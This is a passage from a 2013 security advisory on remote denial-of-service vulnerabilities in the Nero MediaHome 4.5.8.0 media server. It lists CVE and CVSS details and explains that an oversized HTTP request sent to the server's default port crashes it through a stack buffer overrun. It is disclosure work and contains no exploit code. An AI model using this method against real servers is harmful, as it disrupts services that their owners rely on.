Nero MediaHome 4.5.8.0 – Denial of Service
Advisory ID: HTB23130 Product: Nero MediaHome Vendor: Nero Vulnerable Version(s): 4.5.8.0 and probably prior Tested Version: 4.5.8.0 in Windows 7 SP1 Vendor Notification: November 21, 2012 Public Disclosure: January 9, 2013 Vulnerability Type: Improper Handling of Length Parameter Inconsistency [CWE-130], Improper Handling of Undefined Parameters [CWE-236] CVE References: CVE-2012-5876, CVE-2012-5877 CVSSv2 Base Scores: 3.3 (AV:A/AC:L/Au:N/C:N/I:N/A:P), 3.3 (AV:A/AC:L/Au:N/C:N/I:N/A:P) Risk Level: Low Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab has discovered multiple remote DoS vulnerabilities in Nero Media Home server, which could be exploited by a malicious person to crash the server remotely. 1) Improper Handling of Length Parameter Inconsistency in Nero MediaHome server: CVE-2012-5876 1.1 The vulnerability exists due to improper handling of the URI length within the "NMMediaServer.dll" dynamic-link library. A remote attacker can send a specially crafted HTTP request of at least 500'000 characters long to port 54444/TCP (Nero MediaHome server's default port) and cause a stack-based buffer overrun that will immediately crash the Nero MediaHome server.
